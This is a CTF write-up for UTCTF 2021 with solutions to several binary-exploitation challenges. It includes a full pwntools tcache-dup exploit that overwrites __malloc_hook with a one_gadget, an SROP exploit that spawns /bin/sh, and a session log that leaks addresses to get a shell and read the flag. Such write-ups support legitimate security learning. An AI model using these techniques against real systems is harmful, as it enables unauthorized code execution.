[UTCTF 2021] Partial Writeup
CTF Write-Up

[UTCTF 2021] Partial Writeup

Monke

tcache dup detected

so we should set can_eat to 0 to use tcache dup.

to set can_eat to 0..

when we type a char except 'w', 'e', 's', 'n', we can set can_eat to 0.

 

and we can leak to free unsorted bin and read the name of banana (which has been freed).

so I know libc_addr and we can AAW by tcache dup let's play~

from pwn import *

p = remote("pwn.utctf.live", 9999)
elf = ELF("./monke")
libc = ELF("./libc-2.27.so")

def walk(d):
    p.sendline('0')
    p.sendlineafter('[n|s|e|w]\n', d)

def sleep():
    p.sendlineafter('3: take banana\n', '1')

def rename(idx, name):
    p.sendlineafter('3: take banana\n', '2')
    p.sendlineafter('Pick an item.\n', str(idx))
    p.sendlineafter('[eat|rename]:\n', 'rename')
    p.sendlineafter('name it:\n', name)

def eat(idx):
    p.sendlineafter('3: take banana\n', '2')
    p.sendlineafter('Pick an item.\n', str(idx))
    p.sendlineafter('[eat|rename]:\n', 'eat')

def banana(size, name):
    p.sendlineafter('3: take banana\n', '3')
    p.sendlineafter('name to be:\n', str(size))
    p.sendlineafter('to name it:\n', name)

#prologue
walk('n')
walk('s')
#prologue
banana(1280, 'hello')
banana(0x60, 'dummy')
banana(0x60, 'friend')
walk('k')

p.sendlineafter('2: inventory\n', '0')
p.sendlineafter('[n|s|e|w]\n', 'e')
p.sendlineafter('2: inventory\n', '0')
p.sendlineafter('[n|s|e|w]\n', 'w')
p.sendlineafter('2: inventory\n', '0')
p.sendlineafter('[n|s|e|w]\n', 's')
p.sendlineafter('2: inventory\n', '0')
p.sendlineafter('[n|s|e|w]\n', 's')

eat(2)
eat(1)
eat(0)

p.sendlineafter('3: take banana\n', '2')
p.recvuntil('Pick an item.\n')
p.recvuntil('0: ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
malloc_hook = leak - 112
libc_base = malloc_hook - libc.symbols['__malloc_hook']
#one_shot = libc_base + 0x4f3d5
#one_shot = libc_base + 0x4f432
one_shot = libc_base + 0x10a41c

p.sendline('1')
p.sendlineafter('[eat|rename]:\n', 'rename')
p.sendlineafter('name it:\n', p64(malloc_hook - 35))

banana(0x60, 'dummy')
banana(0x60, b'a'*19 + b'A'*0x10 + p64(one_shot))

#gdb.attach(p, 'b *main+227')
#raw_input()

p.interactive()

 

smol

there is heap section. but this seems like .bss section so, I will use it like bss.

 

and exploit code is below.

from pwn import *

#context.log_level = 'debug'

bss2 = 0x402400
leave = p64(0x40101f)
bss = 0x402d00
syscall = p64(0x40100a)

#p = process("./smol")
p = remote("pwn.utctf.live", 9998)
elf = ELF("./smol")

#gdb.attach(p, 'b *0x40100a')
#sleep(1.2)

pay = b'a'*0x8
pay += p64(bss)// set rbp to bss
pay += p64(elf.symbols['main'] + 8) // ret to main + 8 to write payload to bss
p.sendline(pay)

sleep(1.2)

#we should use sigreturn so we set rax to 0xf but there is no pop rax gadget.
#so we use read syscall to set rax 0xf.
#and we must write sigreturn payload.

# 1st. write sigreturn payload
pay = b'/bin/sh\x00'
pay += b'b'*8
pay += p64(elf.symbols['main'])
pay += syscall
pay += p64(0x0) * 5

pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)

pay += p64(bss - 0x8)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x3b)
pay += p64(0x0)
pay += p64(bss2)
pay += syscall
pay += p64(0x202)
pay += p64(0x33)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x2b)
p.sendline(pay)

sleep(2)

# 2nd. set bss address to rbp and ret to main + 8 to use read func to set rax.
pay = b'c'*0x8
pay += syscall
pay += p64(0x401021)
pay += p64(bss)
pay += p64(elf.symbols['main'] + 8)
p.sendline(pay)

sleep(2)

# 3rd. write /bin/sh\x00aaaaaa to set rax to 0xf and will ret to syscall. (why? it's up to you)
pay = '/bin/sh\x00'
pay += 'a'*6
p.sendline(pay)

p.interactive()

 

functional programming

just do it! we know libc addr and pie addr so we can execute Arbitary address.

Just do it!

nc pwn.utctf.live 5432
Enter the length of the list: 20
Enter element 0: 0
Enter element 1: 0
Enter element 2: 0
Enter element 3: 0
Enter element 4: 0
Enter element 5: 0
Enter element 6: 0
Enter element 7: 0
Enter element 8: 0
Enter element 9: 0
Enter element 10: 0
Enter element 11: 0
Enter element 12: 0
Enter element 13: 0
Enter element 14: 0
Enter element 15: 0
Enter element 16: 0
Enter element 17: 0
Enter element 18: 0
Enter element 19: 0
Your list is: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Pick a parameter:
Increment: 0x555ea46e8ab5
Positive: 0x555ea46e8ac4
Abs: 0x7f6f744bc640
0x7F6F74573207 // this addr = 0x7f6f744bc640 - (offset of Abs func) + (offset of one_gadget)
Pick a function:
Map: 0x555ea46e8950
Filter: 0x555ea46e89d5
0x555ea46e8950
ls
flag.txt
cat flag.txt
utflag{lambda_calculus_pog891234}

 

UTCTF Adventure ROM Part 3

They are given a Gameboy ROM file. Let's run it using an emulator.

Running a ROM file starts an adventure that matches the name of the problem!

There are a total of 10 keys on the map. However the strange thing is, if you eat all 10 keys, you will se this screen.

 

I guessed that there would be a routine to eat the key here. In fact, opening the ROM debugger, we can see the variable values associated with the order in which we get the key.

The left value is the total value of the key and the right value is the variable associated with the order. In other words, if the right value changes to zero, it means that you get it wrong.

So I just had to find the order of eating the key, but I just solved it with effort. I upload it in case anyone is curious about the code.